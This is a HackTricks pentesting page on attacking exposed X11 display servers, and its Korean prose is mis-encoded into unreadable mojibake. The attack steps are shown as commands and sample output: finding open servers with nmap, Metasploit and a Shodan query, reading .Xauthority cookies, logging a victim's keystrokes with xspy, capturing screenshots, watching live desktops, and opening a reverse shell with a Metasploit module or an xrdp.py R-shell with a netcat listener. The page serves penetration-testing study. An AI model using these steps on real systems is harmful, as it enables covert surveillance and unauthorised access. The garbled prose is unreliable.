6000 - Pentesting X11
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
X Window System (X)๋ UNIX ๊ธฐ๋ฐ ์ด์ ์ฒด์ ์์ ๋๋ฆฌ ์ฌ์ฉ๋๋ ๋ค๋ชฉ์ ์๋์ฐ ์์คํ ์ ๋๋ค. ์ด๋ ๊ฐ๋ณ ํ๋ก๊ทธ๋จ์ด ์ฌ์ฉ์ ์ธํฐํ์ด์ค ๋์์ธ์ ์ฒ๋ฆฌํ๋ ๊ทธ๋ํฝ **์ฌ์ฉ์ ์ธํฐํ์ด์ค (GUIs)**๋ฅผ ์์ฑํ๊ธฐ ์ํ ํ๋ ์์ํฌ๋ฅผ ์ ๊ณตํฉ๋๋ค. ์ด๋ฌํ ์ ์ฐ์ฑ์ X ํ๊ฒฝ ๋ด์์ ๋ค์ํ ๋ง์ถคํ ๊ฒฝํ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
๊ธฐ๋ณธ ํฌํธ: 6000
PORT STATE SERVICE
6000/tcp open X11
Enumeration
์ต๋ช ์ฐ๊ฒฐ ํ์ธ:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
๋ก์ปฌ ์ด๊ฑฐ
์ฌ์ฉ์์ ํ ํด๋์ ์๋ ํ์ผ **.Xauthority**๋ X11์ ์ธ์ฆ์ ์ฌ์ฉ๋ฉ๋๋ค. ์ฌ๊ธฐ์์:
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
MIT-magic-cookie-1: 128๋นํธ ํค(โ์ฟ ํคโ)๋ฅผ ์์ฑํ๊ณ ์ด๋ฅผ ~/.Xauthority(๋๋ XAUTHORITY envvar๊ฐ ๊ฐ๋ฆฌํค๋ ์์น)์ ์ ์ฅํฉ๋๋ค. ํด๋ผ์ด์ธํธ๋ ์ด๋ฅผ ์๋ฒ์ ํ๋ฌธ์ผ๋ก ์ ์กํฉ๋๋ค! ์๋ฒ๋ ์ด โ์ฟ ํคโ์ ๋ณต์ฌ๋ณธ์ด ์๋์ง ํ์ธํ๊ณ , ์๋ค๋ฉด ์ฐ๊ฒฐ์ด ํ์ฉ๋ฉ๋๋ค. ํค๋ DMX์ ์ํด ์์ฑ๋ฉ๋๋ค.
Warning
์ฟ ํค๋ฅผ ์ฌ์ฉํ๊ธฐ ์ํด env var๋ฅผ ์ค์ ํด์ผ ํฉ๋๋ค:
export XAUTHORITY=/path/to/.Xauthority
๋ก์ปฌ ์ด๊ฑฐ ์ธ์
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
์์ ์์ localhost:0์ xfce4-session์ ์คํํ๊ณ ์์์ต๋๋ค.
์ฐ๊ฒฐ ํ์ธ
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
ํค๋ก๊น
xspy ๋ฅผ ์ฌ์ฉํ์ฌ ํค๋ณด๋ ์ ๋ ฅ์ ์ค๋ํํฉ๋๋ค.
์ํ ์ถ๋ ฅ:
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
์คํฌ๋ฆฐ์ท ์บก์ฒ
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
์๊ฒฉ ๋ฐ์คํฌํฑ ๋ณด๊ธฐ
Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
๋จผ์ xwininfo๋ฅผ ์ฌ์ฉํ์ฌ ์ฐฝ์ ID๋ฅผ ์ฐพ์์ผ ํฉ๋๋ค.
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
์ค์๊ฐ ๋ณด๊ธฐ๋ฅผ ์ํด ์ฐ๋ฆฌ๋ ์ฌ์ฉํด์ผ ํฉ๋๋ค.
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
์ ธ ์ป๊ธฐ
msf> use exploit/unix/x11/x11_keyboard_exec
๋ฆฌ๋ฒ์ค ์ ธ: Xrdp๋ ๋ํ Netcat์ ํตํด ๋ฆฌ๋ฒ์ค ์ ธ์ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค. ๋ค์ ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ์ธ์:
./xrdp.py \<IP:0> โno-disp
์ธํฐํ์ด์ค์์ R-shell ์ต์ ์ ๋ณผ ์ ์์ต๋๋ค.
๊ทธ๋ฐ ๋ค์, ๋ก์ปฌ ์์คํ ์์ ํฌํธ 5555์์ Netcat ๋ฆฌ์ค๋๋ฅผ ์์ํฉ๋๋ค.
nc -lvp 5555
๊ทธ๋ฐ ๋ค์ R-Shell ์ต์ ์ IP ์ฃผ์์ ํฌํธ๋ฅผ ์ ๋ ฅํ๊ณ R-shell์ ํด๋ฆญํ์ฌ ์ ธ์ ์ป์ต๋๋ค.
References
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Shodan
port:6000 x11
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


